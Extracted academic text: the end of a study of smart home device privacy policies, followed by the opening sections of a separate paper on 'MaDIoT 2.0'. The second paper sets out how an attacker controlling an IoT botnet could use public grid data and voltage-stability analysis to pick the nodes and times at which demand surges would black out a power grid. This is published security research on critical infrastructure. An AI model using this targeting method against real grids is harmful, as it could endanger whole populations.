privacy policy analysis). Finally, behavioral analysis has its
limitations, and may not be able to detect when determined
vendors purposefully violate their claims made in privacy
policies by exfiltrating content after it reaches the cloud [33].
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10 Threats to Validity
The methodology and findings of this study must be examined
while considering the following threats to validity:

1. Manual effort, human error: Our study is semi-
automated and consists of manual components that are subject
to human error. We have taken several steps to mitigate the
threats arising from this aspect, particularly in the interest of
scientific rigor and reproducibility, e.g., using two coders for
labeling, confirming every finding manually, and describing
the methodology in precise detail for reproducibility.

2. Privacy disclosures after purchase: Vendors may provide
privacy policies inside the box, i.e., after the purchase. How-
ever, we believe that retroactive disclosure contrasts with the
spirit of informed consent (since the consumer is already in-
vested into the device), and hence, do not consider this aspect.

3. Google Play: For our availability analysis, we only explore
Android apps as Google Play has the largest market share, and
it is extremely unlikely for a vendor to have a device privacy
policy provided in their iOS app but not the corresponding
Android app. However, we note that some vendors without
device privacy policies may fall within this category.

4. Impact metrics: We choose Amazon badges (Best Seller,
Amazon’s Choice) and ratings for estimating impact as they
have been known to have had a tangible impact on user pur-
chases, e.g., the Amazon’s choice badges increased the sales
conversion rate by 25% and Best Seller Badge boosted page
views by 45% [3]. However, such metrics may be susceptible
to seller manipulation and may not fully represent actual pur-
chase characteristics. Therefore, while we use multiple impact
metrics (i.e., Amazon badges, ratings and Google Play install
counts) to approximate the popularity of a vendor, they should
be considered along with the risk of vendor manipulation.

11 Related Work
This work lays the empirical foundation to bridge the domains
of privacy policies and smart home device privacy analysis,
and is particularly related to prior work in the two areas.

Privacy Policy Analysis: Prior work has studied privacy poli-
cies in terms of their readability and comprehension [15,
52, 60]. Other work has addressed the availability of pri-
vacy policies for mobile apps [14, 25, 42, 99], where poli-
cies are readily available in the users’ app usage work-
flow. In contrast, we study the availability of smart home
device privacy policies that do not have a clear route of
distribution. Prior research has also analyzed the content
of privacy policies to identify vagueness [8, 13], opt-out
choices [65, 78], contradictions [7, 24, 94], purpose-centric
statements [93], and compliance [14, 15]. Similarly, research
has also analyzed the collection and sharing practices in pri-
vacy policies for mobile applications [7, 8, 89, 94, 99], and
websites [11, 12, 16, 23, 43, 77, 95, 96]. In contrast, our work
focuses on the disclosure of such practices within device

privacy policies, exploring the intricacies introduced by the
smart home domain.

Smart Home Privacy Analysis: This is the first, empirical,
large-scale analysis of smart home device privacy policies,
especially in terms of analyzing availability and coverage,
and attempts to understand the state of privacy disclosure in
the smart home. In doing so, we complement prior work that
analyzes the behavior of smart home products. Particularly,
prior work has analyzed network traffic to understand the ex-
filtration of sensitive data via devices [1, 49, 55, 71, 71]. For
instance, Ren et. al. [71] study the behavior of 81 devices
installed at US and UK based labs to understand destination
traffic, device interactions, and sensitive data exposures, while
Moghaddam et. al. [62] perform a similar in-lab analysis of
TV streaming platforms. In contrast, Huang et. al. [49] study
network traffic from end-user homes to understand device be-
havior and tracking risks associated with smart home devices.
Similarly, Kumar et. al. [55] performed a large scale empirical
analysis of network scans to study the current state of security
of IoT devices across different geographical locations. In a
similar vein, recent work [10, 22, 30] has analyzed the pri-
vacy exposure resulting from smart home apps, particularly
IoT apps provided on platforms such as SmartThings. For
instance, IoTWatch [10] collects privacy preferences during
app installation and informs users about sensitive data leaks
when the preferences do not match the app behavior. As dis-
cussed previously in Section 9, our work complements such
behavioral analysis from the network and apps by providing
additional context to it in the form of disclosure practices,
allowing prior work to use the data and findings of this study
to validate legally binding collection/sharing claims made by
vendors, which is a promising future direction.

Finally, given the known limitations in the efficacy of
privacy disclosures, prior work has proposed privacy la-
bels [28, 53, 54] to make security and privacy information
more consumable at the first point of contact (i.e., prior to pur-
chase), with privacy policies available for additional details.
Our work complements this approach by motivating holistic
improvements in the distribution, content, and governance
of IoT privacy policies, which will provide a legally-binding
supplement to privacy labels for interested consumers.

12 Conclusion
Smart home privacy policies inform consumers how vendors
use their smart home data. We described an empirical study of
596 device privacy policies affecting 2,442 devices, using a
data-driven methodology that studies availability, content, and
coverage of devices in policies. Our findings demonstrate how
users’ access to precise and clear privacy policies is hampered
by the lack of clear standards of policy delivery, specification,
and contextualization to the smart home. The labeled data and
insights produced in this work lay the groundwork for future
automated analysis of device privacy policies.
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A Privacy Policy Screenshots
Figure 10 shows the snippet Wyze’s privacy policy that pre-
cisely discusses device data. Figure 11 is the snapshot of the
response obtained from Polisis tool.

Figure 10: Snippet from Wyze’s privacy policy that describes how
it collects data for its camera and weight scale devices

B Policy Labeling Appendix
Table 3 lists the labels defined and used for our content anal-
ysis. We note that unlike prior studies that study website or
mobile app privacy policies, our study is aimed at holistic
understanding of different aspects of smart home privacy poli-
cies. Thus, while our “Content Labels” are similar to the labels
used by prior work [7, 8] (e.g., collection, sharing, purpose),
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Figure 11: Result from Polisis tool for SmartThings privacy policy

the document labels (e.g., regulation_specific content, collec-
tion granularity) are unique to this work. For each label, the
‘Label Origin’ column describes how the labels were created,
as described in Section 5 (“reg” refers to labels based on
CCPA/GDPR requirements, “pol” refers to labels identified
from our initial exploratory pass over a subset of policies, and
“reg+pol” describes labels inspired from both).

C Methodology for Preparing NER Dataset
We created a smart home-specific NER dataset by annotating
600 policy statements from our dataset of 284 smart home pri-
vacy policies. To maintain fidelity to the original evaluation of
PolicyLint, we used the same annotation methodology as laid
out by PolicyLint for creating training and testing sets. That
is, we extracted 400 statements using the 9 lexico-syntactic
patterns indicated in the PolicyLint paper, and 200 random
statements that discuss collection and sharing (using the la-
beled dataset resulting from Section 5). We annotated each
statement with granular named-entity information, using the
standard annotation methodology described in the PolicyLint
paper. We shuffled this annotated dataset and used 500 state-
ments for training (the SmartHomeTrain training dataset) and
100 for testing (the SmartHomeTest dataset).

D Sharing Statements in FAQs

Ring’s [76] policy discusses sharing for “personal data” but
is unclear about the sharing practices for some of the most
privacy-sensitive device data collected (e.g., audio/video
recordings). Ring’s CCPA supplement [73] discusses au-
dio/video data, but not in the context of the smart home. We
found a FAQ [75] that discusses sharing device data (e.g., with
law enforcement), which is further elaborated in a separate
‘Ring Law Enforcement Guidelines” document [74].

E Email Template
We crafted our email based on the findings for each vendor.
Listing 1 presents the generic outline of how we informed
vendors about different findings reported in this paper.

Table 3: List of Content and Document labels and their correspond-
ing Kappa scores calculated after labeling process

No. Content Label Paragraph Kappa Label
Frequency Score Origin

1 collection 4323 0.82 reg+pol
2 sharing 1937 0.71 reg+pol
3 not_collection 133 0.74 reg+pol
4 not_sharing 118 0.66 reg
5 both (i.e., collection and sharing) 96 0.90 pol
6 not_both (i.e., does not collect or share) 9 0.94 pol
7 collect_purpose 2856 0.84 reg+pol
8 share_purpose 383 0.86 reg+pol
9 both_purpose 26 0.93 pol

No. Document Label Document Kappa Label
Frequency Score Origin

10 (i) product policy_type 5 1 pol
(i) mixed policy_type (site and product) 279 1 pol

11 effective_date 214 0.94 pol
12 (i) generic (not regulation specific) 223 0.99 pol

(ii) CCPA regulation specific 46 0.97 pol
13 (iii) GDPR regulation specific 58 1 pol
14 contains_summary 14 1 pol
15 contains_sections 276 1 pol
16 contains_table 20 1 pol
17 contains_preamble 275 1 pol
18 contains_children_privacy 167 1 reg+pol
19 contains_data_retention 209 1 reg+pol
20 contains_storage/transfer 200 0.98 reg+pol
21 contains_contact 268 0.97 pol
22 (i) broad collection_granularity 91 0.97 reg+pol

(ii) attribute collection_granularity 153 0.97 reg+pol
(iii) not_collect collection_granularity 8 1 reg+pol
(iv) undefined collection_granularity 2 1 reg+pol

23 (i) attribute share_source_granularity 35 1 reg+pol
(ii) usage share_source_granularity 36 0.97 reg+pol
(iii) not_share share_source_granularity 11 1 reg+pol
(iv) undefined share_source_granularity 6 1 reg+pol

24 (i) specific share_destination_granularity 50 1 reg+pol
(ii) only_purpose 191 1 reg+pol
share_destination_granularity
(iii) undefined 16 1 reg+pol
share_destination_granularity

1 Subject : Issues Related to Smart Home Product Privacy
Policy

2

3 To Whom It May Concern :
4

5 We are a team of security researchers from the <XYZ> in
the Department of Computer Science at <XYZ > . We
performed a systematic study to analyze privacy policies
for different smart home vendors .

6

7 We found the following issues in the privacy policy <
Privacy_Policy_Link >:

8 1 . <Finding Description >
9 2 . <Finding Description >

10

11 Any additional information that you may have that
clarifies collection , purpose , and sharing practices of
data originating from the device usage would be
extremely helpful .

12

13 If you have recently updated your product privacy policy ,
kindly direct us towards the updated policy .

14

15 Thank you !
16 <EMAIL_SIGNATURE >

Listing 1: Email Template used to inform the vendors
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Abstract
The widespread availability of vulnerable IoT devices has
resulted in IoT botnets. A particularly concerning IoT botnet
can be built around high-wattage IoT devices such as EV
chargers because, in large numbers, they can abruptly change
the electricity consumption in the power grid. These attacks
are called Manipulation of Demand via IoT (MaDIoT) at-
tacks. Previous research has shown that the existing power
grid protection mechanisms prevent any large-scale negative
consequences to the grid from MaDIoT attacks. In this pa-
per, we analyze this assumption and show that an intelligent
attacker with extra knowledge about the power grid and its
state, can launch more sophisticated attacks. Rather than at-
tacking all locations at random times, our adversary uses an
instability metric that lets the attacker know the specific time
and geographical location to activate the high-wattage bots.
We call these new attacks MaDIoT 2.0.

1 Introduction

Most attacks on power systems (e.g., Ukrainian power grid
blackout, Dragonfly 2.0, and Aurora) target the central control
systems of the electrical grid [1–4]. While targeting control
systems is a direct attack, adversaries can also attack power
systems indirectly through the consumer side. Given the pro-
liferation of IoT vulnerabilities and the growing availability
of high-wattage devices with Internet connectivity, security
researchers are starting to analyze Manipulation of Demand
via IoT (MaDIoT) attacks [5–7].

In a MaDIoT attack, the adversary uses a botnet consist-
ing of high-wattage IoT devices to change the power sys-
tem’s load abruptly; these attacks might cause frequency in-
stabilities, line failures, and increased operating costs [5]. A
followup-work by Huang et al. [6] argued that a missing
piece in Soltan’s analysis [5] was a model of the protection
mechanisms already in place in the power grid to prevent
problems caused by natural events (e.g., sudden changes in
the generation/load imbalance). They then showed how these

protections (e.g., under-frequency load shedding or the time
delay before disconnecting an overloaded transmission line)
would significantly reduce the impact of MaDIoT attacks. In
particular, Huang et al. argue that the embedded protection
systems in the power grid will prevent widespread blackouts
from adversaries launching MaDIoT attacks. While the nega-
tive impact of MaDIoT attacks on operations might not be as
severe as previously thought, a recent work by Shekari et al.
showed that MaDIoT attacks can be used to affect the elec-
tricity market (fraudsters can predict the market and future
changes in the load because of the botnet they control) [7].

In this paper, we revisit the problem of the impact of Ma-
DIoT attacks on the security of the power grid. So far, the
original argument is that these attacks are dangerous [5], and
follow-up work showed that they were not as severe as ini-
tially thought [6]. A missing analysis in these previous works
is that they considered MaDIoT attacks as an all-or-nothing
effort (e.g., turning on all bots simultaneously or turning them
all off) [5, 6]. This spreads the attack throughout the power
system equally and randomly. In this paper, we show that
sometimes “less” is better. In particular, we show that by care-
fully turning on devices in specific geographical locations,
we can target the system more methodically. In particular, we
propose MaDIoT 2.0; our new attack looks at voltage stabil-
ity indices and then targets the geographical areas where the
system is more vulnerable from the stability perspective. Our
contributions include the following:

• We propose and analyze a new MaDIoT 2.0 attack.

• We show that MaDIoT 2.0 has a significantly better
success rate compared to the previous attacks (i.e., [5,
6]) while requiring a fewer number of compromised
IoT devices, which makes it more feasible in practical
situations.

• We conduct numerical studies to investigate the effec-
tiveness of MaDIoT 2.0 with real-world data obtained by
crawling the websites of independent system operators
(ISOs) and the Bloomberg Terminal.
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Figure 1: A typical power grid and its different sectors.

• All our models and simulations are released as open-
source software so that other researchers can reproduce
our results [8]. We are also sharing high-order models
for standalone devices (e.g., generators, transmission
lines, and loads), protective relays, and the controllers of
standalone devices.

• We discuss short-term and long-term countermeasures
to minimize the damaging consequences and severity of
MaDIoT 2.0.

The rest of this paper is organized as follows. Section 2
explains the basic structure of the bulk power system and
its primary control and protection schemes. The intuition
behind MaDIoT 2.0 attacks and the threat model is discussed
in Section 3. The detailed formulation and mechanism of
the attack model are in Section 4. Section 5 evaluates the
performance of the proposed approach with real-world case
studies and shows its better performance over the previous
works. Countermeasures are presented in Section 6. Related
work is summarized in Section 7. We conclude the paper and
discuss possible future work in Section 8. The feasibility of
the attack and the data of the benchmark systems are in the
appendix.

2 Background

A typical power grid is divided into different sectors illustrated
in Figure 1 [9]. Generation, transmission, and distribution sec-
tors are connected through substations [10]. Each substation
includes high voltage equipment such as power transformers
(to change the voltage level of the circuits) and circuit break-
ers (switches for connecting/disconnecting lines), and also
control and protection devices such as protective relays (to
detect faults), voltage and current measurement sensors, and
remote terminal units (RTU) to communicate with the control
center via the SCADA system [11].

Most of the energy is produced by power plants in the gen-
eration sector. The voltage at generators is originally medium
voltage (e.g., 13.8 kV). This generated power is then stepped
up to a higher voltage level (e.g., 500 kV) to be transmitted
over long distances. This voltage level change is performed
to reduce energy losses in transmission lines (higher voltage
levels imply smaller currents, which lead to lower transmis-
sion losses). Eventually, the electricity is stepped back down
to a medium voltage level by distribution substations near end
users. The distribution sector generally feeds the consumers
within a limited geographical area with medium voltage [9].

2.1 Control of Power Systems

The total demand for the power grid is continuously chang-
ing. To preserve system stability and avoid any large-scale
blackouts, the output power of generators must match the de-
mand in real-time [12]. These variations change the load of
the transmission lines; some of them might even work while
being overloaded, depending on the grid operating point [6].
Therefore, to relieve overloaded transmission lines, the con-
figuration of the system is modified (by switching the trans-
mission lines) so that the energy will be transmitted to the
end-users via different routes. These strategies are a part of
the power system control mechanism. Power system control
is defined as the set of local and wide-area algorithms which
help the system operator maintain grid stability. The main
goal of operators is to ensure that the grid is continuously de-
livering electric energy to consumers at the nominal voltage
and frequency with an acceptable error (i.e., 120 ± 20 V and
60 ± 0.5 Hz in the US) while keeping the generation-demand
balance. The most important power system control schemes
are: i) primary frequency control (governor), ii) automatic
voltage control (AVR), and iii) automatic generation control
(AGC). These controllers have either local or wide-area mech-
anisms.

Electric power has two main elements: i) active and ii)
reactive power. Active power is the part that flows from the
generator to the load, and reactive power is the part that is
continuously flowing from source to load and is returning
back to the source. The existence of reactive power makes the
transfer of active power possible in electrical circuits [12].

The primary frequency controller is locally installed in each
generator. It changes (increases/decreases) the active output
power of the generator in response to any frequency change
in the system, which is a sign of load-generation imbalance in
the grid. As a rule of thumb, whenever the generation exceeds
the demand in the grid, the system frequency becomes greater
than the nominal value, and whenever the demand exceeds
the generation, it drops below the nominal frequency [11].

The AVR is similarly installed in each generator with the
goal of maintaining the voltage level of the generator within
allowable ranges; it achieves this by changing the reactive
power output of the generator [12].

Finally, AGC is a wide-area controller that changes the out-
put power of the system generators to recover the frequency to
its nominal value if the primary frequency controllers are not
able to fully recover the system frequency change to the al-
lowable range [12]. Wide-area controllers gather and analyze
the data from the entire grid and make decisions and issue
commands to multiple components throughout the system.
These controllers use a private network for receiving data
and sending commands; this network is called the SCADA
system.
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2.2 Protection of Power Systems
When a severe fault or incident occurs in the system (e.g.,
short circuit fault in a transmission line, sudden outage of a
big power plant, etc.) and the physical damage to the grid
components or a widespread blackout is inevitable, power
system protection schemes will intervene to isolate the faulty
area while keeping as much of the transmission network still
in operation [11]. This means that there may be localized
outages that can be easily repaired, and these are caused to
prevent the interconnected bulk system from going down.

These protection schemes can be categorized into local
and wide-area methods. The local protection schemes usu-
ally detect and isolate the faulty component in the system to
prevent damage to the equipment and prevent the fault from
spreading to the entire grid. On the other hand, wide-area pro-
tection schemes gather and process data from different parts
of the grid through the SCADA system to detect any faults
and react to them accordingly. From the technical perspective,
wide-area protection schemes employ more sophisticated data
analysis methods and are able to detect and resolve more com-
plex faults in the system [11]. Table 1 lists the most common
protection schemes used in the bulk power system.

These protection schemes play an important role in keeping
the grid stable following severe natural events or accidents,
and as shown by Huang et al. [6], they can even protect the
grid from basic MaDIoT attacks. However, basic MaDIoT
attacks and natural events have not taken an adversarial look
at protection mechanisms. In the next Section, we discuss
what types of attacks can bypass and even use the existing
protection mechanisms against the grid.

3 Threat Model

3.1 Intuition Behind MaDIoT 2.0
The main objective of the MaDIoT attack is to manipulate the
consuming power of compromised high-wattage IoT devices
(turning them on/off at the same time) to cause a blackout
in the target power grid. To understand the limitations of
a MaDIoT attack, we first need to understand the intuition
behind it. We simulate the classical benchmark IEEE 39-node
(also known as the model of the New England power grid)
test system to test different attack scenarios and determine
which attack scenarios are more practical to implement to
cause a blackout in the grid. We considered the load profile
of one week per season (the modeling details are in Section 5
the appendix and in our public repository [8]. The central
assumption of a MaDIoT attack is that the attacker has access
to a high-wattage IoT botnet whose bots are evenly distributed
in all of the system nodes. This means that adversaries can
alter the system demand at different nodes at their will by
turning on the bots simultaneously to take down the entire
power grid.
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Figure 2: Success rates of MaDIoT 1.0 attacks vs. size of the
high-wattage IoT botnet.  
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Figure 3: Success rates when attacking a single node (IEEE
39 node benchmark). Only the nodes with the highest success
rates are in the figure.

In MaDIoT, the adversary turns on all of the compromised
devices evenly distributed in the system nodes to give a shock
to the power grid and cause a widespread blackout [5, 6].
Figure 2 shows the success rate of MaDIoT 1.0 for different
botnet sizes. As we can see, the results are consistent with [6],
and the system control and protection schemes are able to
recover the stability of the power grid following the attacks in
most of the simulated cases, and hence, the attack’s success
rate is very low. The low success rate can even lead to the
early detection of the attack due to so many unsuccessful
tries (consumers might report malfunctioning devices, or the
electric utility can spot these anomalies).

Given that in historical power grid blackouts, the system
collapse occurs due to a severe supply-demand imbalance
in limited geographical areas of the grid, implementing the
MaDIoT attack from a single node seems more reasonable
than the previous attack scenario. Based on this, we simulated
MaDIoT attacks by turning on the compromised IoT devices
located in a single node of the power grid. Figure 3 illustrates
the results of the new attack scenario. Note that only the nodes
with the highest success rates are shown in the figure. We can
see in Figure 2 that the success rate of the attacks in some
nodes is larger than that of the previous scenario (although
most nodes have a lower success rate). Our main question is
whether we can further increase the attack’s success rate or
not.

The MaDIoT attack seems to have a significantly higher
success rate if we launch it from several nodes that are close
together (neighboring nodes). By performing the brute force
simulations (simulating all the possible attacks from three
nodes, n(3, 39) = 9,139), we noticed that attacking the grid
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Table 1: The Most Common Protection Schemes Used in Power Grids
Name of the Protection Scheme Local or Wide-Area Aim

Distance [13] Local Short circuit detection in transmission lines
Overcurrent [14] Local Overload detection in transmission lines
Overvoltage Load Shedding (OVLS) [11] Local/Wide-Area Overvoltage detection in grid nodes
Undervoltage Load Shedding (UVLS) [15] Local/Wide-Area Undervoltage detection in grid node
Under-Frequency Load Shedding (UFLS) [16, 17] Local/Wide-Area Underfrequency detection in grid nodes
Over-Frequency Generation Rejection (OFGR) [18] Local/Wide-Area Overfrequency detection in generation nodes
Differential [19, 20] Local Fault detection in power transformers and transmission lines
Out-of-Step [21] Local Out of synchronous detection in power generators
Loss-of-Excitation [22] Local Excitation system fault detection in power generators
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Figure 4: Success rate of an IoT botnet attack (IEEE 39 node
benchmark) when launched from three nodes. Only the 3-
nodes with the highest success rates are in the figure.

from three nodes reveals the best results. Figure 4 illustrates
the performance of the attack when launched from three dif-
ferent locations in the power grid. The figure lists the highest
success rates from all the possible simulated cases. We can
see that the success rate of the new attack scenario is consid-
erably higher than that of the previous ones. There are several
technical reasons why the last strategy causes the most effec-
tive attacks. As the first reason, when a severe supply-demand
imbalance occurs in a limited geographical area of the grid,
the generators detect this energy shortage and try to increase
their generated power to compensate for the deficit. How-
ever, the distant generators cannot deliver their share to the
faulty area as long transmission lines have considerable power
losses. Accordingly, this persistent power shortage remains in
the faulty area and causes a cascading outage throughout the
grid. In such situations, the central system protection scheme
is under-frequency load shedding (UFLS). UFLS tends to
evenly drop a portion of the grid’s load to bring back the
supply-demand balance. However, because it decreases the
system loads evenly throughout the system, it cannot solve the
problem, and a widespread blackout inevitably happens. We
will show how a modification to the existing UFLS scheme
can reduce the attack’s success rate in Section 6.

Since the power grid demand and its operating status
change over time, the best nodes to launch the MaDIoT attack
change accordingly. Therefore, it is important to periodically
(e.g., every 15 minutes) find the best nodes for the MaDIoT
attack to increase the attack’s success rate. In addition, given

a power grid structure and its operating condition, there is a
question on how an adversary calculates the best nodes of
the system to attack in its current state. Our detailed analysis
shows a strong correlation between the best nodes to attack
and their voltage stability margins. The adversary can com-
pute the voltage stability margins of different nodes in the
system and choose the ones close to instability to launch the
attack from those nodes. We explain the detailed hierarchical
approach of our attack in the following Section.

One might ask here if we can choose these three nodes
randomly to cause a blackout in the targeted grid. Technically
speaking, the attack works well if we choose the top nodes
(from the voltage stability perspective) that are close to the
instability. For example, in the New England test system, there
are n(3, 39) = 9,139 possible attack combinations, and only
the top 5-6 choices return reasonable success rates after the
implementation of the attack. The probability of choosing
these nodes randomly is only 0.055%, which is very unlikely.
In addition, due to a large number of unsuccessful attacks, the
chance of consumers or operators detecting the high-wattage
IoT botnet attack becomes high. The probability of choosing
three good noes to attack gets smaller with larger power grids.
For example, in a system with 118 nodes, this probability is
0.0019%.

3.2 Overview of MaDIoT 2.0
As in [5–7], we assume that vulnerable high-wattage IoT de-
vices have been already compromised and are part of a botnet
that can be directly controlled by the attacker–we discuss this
assumption in Section 9. To launch more sophisticated at-
tacks, the adversary needs to obtain the graph of the targeted
grid through reconnaissance, phishing, or available automatic
tools. This is a one-time analysis for each power grid and can
be done offline. A detailed explanation of how an attacker can
obtain the grid graph is in Section 4.1.

With this information, a MaDIoT 2.0 attack has two main
online stages: in the first stage, the attacker obtains basic
information about the targeted power grid, and in the second
phase, the attacker analyzes the data to find the right time and
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Figure 5: Overview of MaDIoT 2.0 attacks. 0� Preliminary
offline analysis: the attacker obtains the grid graph through
reconnaissance and inference tools, 1� Data acquisition stage:
the attacker collects the real-time operation information about
the current operating point of the grid by crawling the online
websites of ISOs and Bloomberg Terminal, 2� System analy-
sis stage: the attacker analyzes the raw data and determines
the weakest points of the grid from the stability perspective.
Finally, the attacker assesses the feasibility of the attack with
the available high-wattage IoT botnet and implements it if it
is feasible.

place to launch the attack. Figure 5 shows the threat model
and overview of the new MaDIoT 2.0 attack. We now describe
these steps in more detail.

3.2.1 Data Acquisition Stage

In this stage, the attacker’s goal is to obtain real-time infor-
mation on the state of the power grid. With the emergence
of deregulated electricity markets in recent years, real-time
data is publicly available through the ISO websites or stock
trading tools like Bloomberg Terminal [23]. Three examples
of online data sharing in ISOs websites are given in [24–26].
This data is openly available so traders and market players
can monitor the changes in the underlying system and quickly
adapt their bids in the market for maximum profit.

By crawling ISO websites and the Bloomberg Terminal,
an attacker can learn the power production and consumption
of the system in different nodes1 and estimates the stability
margin of the grid in various geographical regions. In par-
ticular, the attacker can obtain each node’s integrated power
generation/consumption, which is explicitly shared via the
methods outlined above.

3.2.2 System Analysis Stage

After learning the state of each node, the next step for the
attacker is to identify the most vulnerable nodes based on volt-
age stability analysis. The motivation to conduct this study
is that one of the most common root causes of big blackouts

1The terms nodes and buses are interchangeably used in power systems.
Each node represents a relatively wide geographical area (e.g., a metropolitan
city such as Atlanta or a big power plant).

is the voltage instability following severe technical incidents
such as big imbalances between energy generation and con-
sumption (e.g., caused by the outage of critical power plants
due to technical faults) [12, 16, 17].

A classical way to identify vulnerable nodes is through
voltage stability indices. There are multiple voltage stability
indices in the literature, and they can help the attacker rank the
nodes and determine the most vulnerable ones in real-time.
We will give a detailed explanation of these indices along
with their performance in Sections 4 and 5.

Once the attacker ranks nodes according to their stability
margin, he needs to evaluate the likelihood that an attack on
the top nodes (e.g., the top 3 most vulnerable nodes) will bring
the power system down. The adversary sends the attack com-
mand to the relevant bots located in critical nodes if the attack
is feasible. According to the numerical results presented in
Section 5, the attack’s success2 rate can be as high as 91%.
If the attack is not feasible, the attacker will wait until the
beginning of the following scanning cycle (e.g., five minutes
mainly depending on the refresh rate of the public informa-
tion) and start again from the first stage. As we will discuss
in Section 5, MaDIoT 2.0 attacks have two advantages: i) the
attack is executed only when there is a good chance for suc-
cess (so the existence of the botnet is not discovered because
of failed attacks), and ii) a successful attack to bring down
the power grid requires less IoT bots than in previous work
because it only targets the weakest nodes of the system.

4 MaDIoT 2.0

4.1 Preliminary Offline Analysis
Before we describe the online tasks of MaDIoT 2.0, we dis-
cuss a preliminary offline step. To launch successful attacks,
the attacker needs to gather some basic information about
the architecture of the power grid. This architecture does not
change over long periods of time (years), and we only need
to obtain them once for every target grid. Although the power
companies and ISOs do not explicitly share this type of infor-
mation, the attackers can acquire them with indirect methods
such as phishing or social engineering [27]. In addition to this,
researchers have shown that there is enough openly available
information to infer in great detail the topology and configu-
ration of power grids [28].

Because all of the transmission lines and substations in
the bulk power grid are outdoors, they can be identified with
online mapping services such as Google Maps [29]. The
attacker can easily follow transmission lines from the power
plants to the distribution substations and obtain the graph
of the entire system. The size and shape of the tower reveal
the voltage level of the respective transmission line and the
attacker can estimate the technical parameters of the line by

2Success is defined as a complete blackout in the entire grid, and failure
is defined as the recovery of the grid from the attack
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multiplying the length of the line to the per-unit values of
the relevant tower. Although this process might take some
time if the attacker does it manually, the processing time here
is not important because it is a one-time analysis for every
system. In addition, the attacker can develop computer vision
algorithms to automatically (or semi-automatically) generate
the graph of a given system using Google Maps satellite
pictures [30–32]. Reference [31] illustrates how the graph
of the Chilean power grid can be inferred by an open-source
tool.

4.2 Data Acquisition Stage

As we briefly explained in Section 3.2, once the attacker
has some basic information of the topology of the grid, the
next step is to start monitoring the state of the system and
find vulnerable nodes in real-time. As explained before, this
data (power generation and consumption in each node) of
the power grid is released on the website of ISOs (e.g., NY-
ISO and CAISO) and is updated every 5 minutes [24, 25].
In addition to this, this data can also be accessed through an
advanced stock trading tool called Bloomberg Terminal [23].
To extract the operation data, the attacker uses a crawler. To
verify this, we collected all the system operation data of the
California and New York power grids from January 2020 to
January 2021.

4.3 System Analysis Stage

Once the attacker has information about the state of the sys-
tem, the next step is to determine the weakest nodes of the
grid from the voltage stability perspective. Note that since
the power generation and consumption in different nodes of
the system change constantly, the weakest points of the target
grid will change accordingly. In particular, we want to exploit
voltage instability as changing voltages in multiple nodes is
easier than attempting to change the frequency of the grid.
Frequency is a global variable in power grids while voltage
is a local variable in each of the system nodes. Changing a
node’s voltage can be done by slightly changing the demand
at that node while changing the system frequency requires the
demand change in the entire system.

We can create voltage instabilities when the load increases
in nodes where the voltage stability margin is at its critical
point [15]. Therefore to find vulnerable nodes, we need to
compute the voltage stability margin. While finding the exact
stability margin is computationally expensive and cannot be
solved in real-time, the power grid community has developed
a set of voltage stability indices that approximately rank the
system nodes based on their voltage stability margins. We now
introduce two candidate options for estimating this quantity.

4.3.1 Voltage Magnitude of Nodes (Index 1)

During the normal operation of the power grid, the operators
want to keep the voltage magnitude of system nodes constant,
and only allow deviations between 0.95 and 1.05 per unit
(p.u.). Undervoltage protection schemes use the voltage mag-
nitude of the system nodes as an indication of their stability
margin [15]. In these schemes, a lower voltage magnitude im-
plies a lower stability margin in the node, and hence, during
emergency conditions when the voltage magnitude is too low,
the protection scheme drops a portion of the loads that are
fed through the critical nodes to keep the system stability and
recover the voltage value to its nominal range.

This index is very easy to compute (we only need the value
of the voltage at each node), and therefore our first candidate
to identify the most vulnerable nodes is the voltage magnitude
of nodes. We will show later (Figure 10.c2) that if the attacker
increases the system demand in several critical nodes where
the voltage magnitude is in the minimum range, the resulting
effect then further drops voltage magnitudes below the normal
range and causes cascading outages in the power grid.

4.3.2 Modal Analysis (Index 2)

One of the most efficient methods to calculate the voltage
stability margin of the system nodes is the modal analysis
based on the Jacobian matrix [33–35]. To calculate this index
for different nodes, the relationship between the system states
and the active and reactive power of system nodes can be
written as:


DP
DQ

�
=


JPq JPV
JQq JQV

�
Dq
DV

�
, (1)

where DP, DQ, Dq, and DV are the vectors representing active
and reactive power changes and voltage magnitude and angle
change in the system nodes. The elements of the Jacobian
matrix (i.e., JPq, JPV , JQq, and JQV ) are calculated based on
the results of the load flow analysis performed in the previous
stage (the data acquisition stage helps us perform this analysis
easily). Since the reactive power and voltage changes have
strong relationships with each other, it is reasonable to assume
DP = 0 [33]. Therefore, we can write:

DQ = [JQV � JQqJ�1
Pq JPV ]DV = JRDV. (2)

Reversing the matrix above equation, one can rewrite it as:

DV = J�1
R DQ. (3)

In order to simplify the calculations, a decomposition can
be used to calculate J�1

R as:

J�1
R = ERx�1EL. (4)
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Hence, (3) can be transformed into:

DV = ERx�1ELDQ = Â
l

ER,lEL,l

ll
DQ, (5)

where ER and EL are the right and left eigenvector matrices
of JR and x is the diagonal eigenvalue matrix of JR. Also, ER,l
and EL,l denote the lth column and lth row of ER and EL and
ll stands for lth eigenvalue of JR. All things considered, the
V-Q sensitivity of node k can can be computed through:

V QSk =
∂Vk

∂Qk
= Â

l

µklhlk

ll
, (6)

in which µkl and hlk are the kth element of ER,l and EL,l .
The negative value of V QSk implies the voltage instability in
the node k in the grid. During the normal operation of the
power system, V QSk will be positive for all of the system
nodes which means that the system is stable from the voltage
stability perspective; however, we can use this index to rank
the system nodes and see which one of them are more prone
to the instability point. The lower value for the V QSk index
implies that the kth node of the system is closer to the voltage
instability and a small load shock can make it unstable.

Index 2 is more computationally intensive (i.e., O(n5 ⇥
(logn)2) time complexity) for larger systems because a large
matrix (the dimensions are increasing linearly with the total
number of the grid nodes, i.e., n⇥n) is getting inverted for
its calculation. Index 1 on the other hand, is only looking at
DV in equation (1) (which is a subset of Index 2) and is very
easy to compute (i.e., O(1) time complexity) regardless of the
grid size. So, in short, index 2 performs better because it is a
more accurate model of the system, yet it requires more effort
by the attacker. For very large grids where the calculation of
index 2 is not practical, index 1 can be used which has some
errors but reveals a satisfactory success rate for the attack. In
smaller grids, we can use index 2 because of its higher attack
success rates.

4.3.3 Checking the Feasibility of an Attack

After the attackers find the most vulnerable nodes in the grid,
they need to evaluate the feasibility of the attack before its im-
plementation. To do so, the adversary can use modal analysis
to determine whether the grid will be unstable following the
implementation of load alteration attack in the weakest nodes
of the system. In the first step, the attackers update the power
consumption in the weakest nodes of the power grid based
on the available potential of the high-wattage botnet. Then,
they compute AC load flow analysis and recalculate JPq, JPV ,
JQq, and JQV based on the new updates. Finally, the voltage
stability index of different nodes can be obtained through
(6). If following the attack implementation, the index V QS
of weak nodes becomes negative, this implies that the grid
